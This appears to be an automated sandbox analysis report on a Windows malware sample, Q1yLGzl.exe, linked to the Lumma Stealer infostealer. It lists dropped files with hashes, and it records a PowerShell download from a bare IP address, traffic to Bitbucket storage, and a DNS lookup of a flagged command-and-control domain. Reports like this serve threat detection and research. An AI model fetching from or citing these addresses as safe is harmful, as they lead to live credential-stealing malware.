SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
Total events
13 600
Read events
13 599
Write events
1
Delete events
0

Modification events

(PID) Process:(4776) cmd.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids
Operation:writeName:VBSFile
Value:
Executable files
0
Suspicious files
1
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
5308Q1yLGzl.exeC:\Users\admin\AppData\Local\Temp\IXP000.TMP\681d45a377313.vbstext
MD5:921534B48153ADABA563B1E08E63E32B
SHA256:E5BCD3217F6E14461DF21D8B5CA49955147AFB74FF77A2489D213ED58C5150AE
7248powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qtybwhhy.xhm.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7248powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_skkveboz.wde.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7392powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qqcyx2x4.jaa.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7392powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lcndwwo2.1gy.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7392powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rqvdwee3.sth.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7392powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dnwuel23.k3z.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7392powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:8A4B44C72A35BED981841A9BAEA85445
SHA256:685C4023E84291B30893E6925F771B87A3A8D78A2AE8A9C8B9FAD6BBE0D1C19C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
31
DNS requests
20
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
23.216.77.18:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7392
powershell.exe
GET
200
62.60.226.165:80
http://62.60.226.165/public_files/nFmdpAg.txt
unknown
—
—
—
8064
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
8064
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.216.77.18:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.65:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
7392
powershell.exe
185.166.143.48:443
bitbucket.org
AMAZON-02
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 23.216.77.18
  • 23.216.77.21
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
google.com
  • 142.250.185.142
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 20.190.160.65
  • 20.190.160.5
  • 20.190.160.131
  • 40.126.32.136
  • 40.126.32.68
  • 40.126.32.133
  • 40.126.32.72
  • 20.190.160.22
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
bitbucket.org
  • 185.166.143.48
  • 185.166.143.49
  • 185.166.143.50
whitelisted
bbuseruploads.s3.amazonaws.com
  • 3.5.27.212
  • 3.5.28.44
  • 52.217.128.113
  • 52.217.133.217
  • 52.216.34.81
  • 3.5.23.224
  • 52.217.192.81
  • 16.182.100.169
whitelisted
thinkellk.run
  • —
malicious

Threats

PID
Process
Class
Message
—
—
Domain Observed Used for C2 Detected
ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thinkellk .run)
No debug info
Interactive malware hunting service ANY.RUN
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ANY.RUN
Reports
Q1yLGzl.exe